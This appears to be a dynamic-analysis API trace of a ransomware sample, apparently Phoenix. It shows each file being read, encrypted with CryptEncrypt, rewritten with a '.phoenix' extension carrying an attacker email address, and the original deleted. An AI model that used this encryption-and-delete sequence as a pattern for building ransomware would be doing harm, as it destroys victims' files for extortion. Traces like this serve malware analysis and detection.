	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.288] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.289] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.290] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.291] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.292] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.293] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.294] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.295] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.296] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.631] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0062.651] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0062.719] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=144072) returned 1
	[0062.719] CloseHandle (hObject=0x330) returned 1
	[0062.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20
	[0062.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.720] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0062.720] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0062.720] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0062.720] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0062.756] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa848) returned 1
	[0062.756] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0062.756] ReadFile (in: hFile=0x330, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x232c8, lpOverlapped=0x0) returned 1
	[0062.819] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x232d0, dwBufLen=0x232d0 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x232d0) returned 1
	[0062.820] WriteFile (in: hFile=0x31c, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x232d0, lpOverlapped=0x0) returned 1
	[0062.823] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa788) returned 1
	[0062.823] CryptSetKeyParam (hKey=0xbaa788, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0062.823] CryptEncrypt (in: hKey=0xbaa788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0062.823] CryptDestroyKey (hKey=0xbaa788) returned 1
	[0062.823] WriteFile (in: hFile=0x31c, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0062.824] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0062.824] CloseHandle (hObject=0x330) returned 1
	[0062.824] CloseHandle (hObject=0x31c) returned 1
	[0062.832] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1
	[0062.834] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0062.835] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.881] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=74) returned 1
	[0062.881] CloseHandle (hObject=0x328) returned 1
	[0062.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20
	[0062.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.882] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.882] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0062.882] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0062.882] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0062.887] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa308) returned 1
	[0062.887] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0062.887] ReadFile (in: hFile=0x334, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4a, lpOverlapped=0x0) returned 1
	[0062.888] CryptEncrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0062.888] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x50, lpOverlapped=0x0) returned 1
	[0062.889] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa348) returned 1
	[0062.889] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0062.889] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40, dwBufLen=0x40 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40) returned 1
	[0062.889] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0062.889] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0xf2, lpOverlapped=0x0) returned 1
	[0062.890] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0062.890] CloseHandle (hObject=0x334) returned 1
	[0062.890] CloseHandle (hObject=0x330) returned 1
	[0062.892] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1
	[0062.893] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0062.893] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0062.903] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=0) returned 1
	[0062.903] CloseHandle (hObject=0x31c) returned 1
	[0062.903] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0062.903] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0062.904] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=14168) returned 1
	[0062.904] CloseHandle (hObject=0x31c) returned 1
	[0062.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80
	[0062.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.904] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0062.904] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0062.904] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0062.904] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0062.908] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa248) returned 1
	[0062.908] CryptSetKeyParam (hKey=0xbaa248, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0062.908] ReadFile (in: hFile=0x31c, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x3758, lpOverlapped=0x0) returned 1
	[0062.912] CryptEncrypt (in: hKey=0xbaa248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x3760, dwBufLen=0x3760 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x3760) returned 1
	[0062.912] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x3760, lpOverlapped=0x0) returned 1
	[0062.913] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa588) returned 1
	[0062.913] CryptSetKeyParam (hKey=0xbaa588, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0062.913] CryptEncrypt (in: hKey=0xbaa588, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0062.913] CryptDestroyKey (hKey=0xbaa588) returned 1
	[0062.913] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0062.913] CryptDestroyKey (hKey=0xbaa248) returned 1
	[0062.913] CloseHandle (hObject=0x31c) returned 1
	[0062.913] CloseHandle (hObject=0x330) returned 1
	[0062.924] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1
	[0062.925] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0062.925] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0062.926] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=18264) returned 1
	[0062.926] CloseHandle (hObject=0x330) returned 1
	[0062.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80
	[0062.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.926] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0062.926] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0062.926] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0062.926] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0063.246] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa748) returned 1
	[0063.246] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.246] ReadFile (in: hFile=0x330, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x4758, lpOverlapped=0x0) returned 1
	[0063.258] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4760, dwBufLen=0x4760 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x4760) returned 1
	[0063.258] WriteFile (in: hFile=0x314, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x4760, lpOverlapped=0x0) returned 1
	[0063.259] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa6c8) returned 1
	[0063.260] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0063.260] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50, dwBufLen=0x50 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x50) returned 1
	[0063.260] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0063.260] WriteFile (in: hFile=0x314, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x102, lpOverlapped=0x0) returned 1
	[0063.260] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0063.260] CloseHandle (hObject=0x330) returned 1
	[0063.260] CloseHandle (hObject=0x314) returned 1
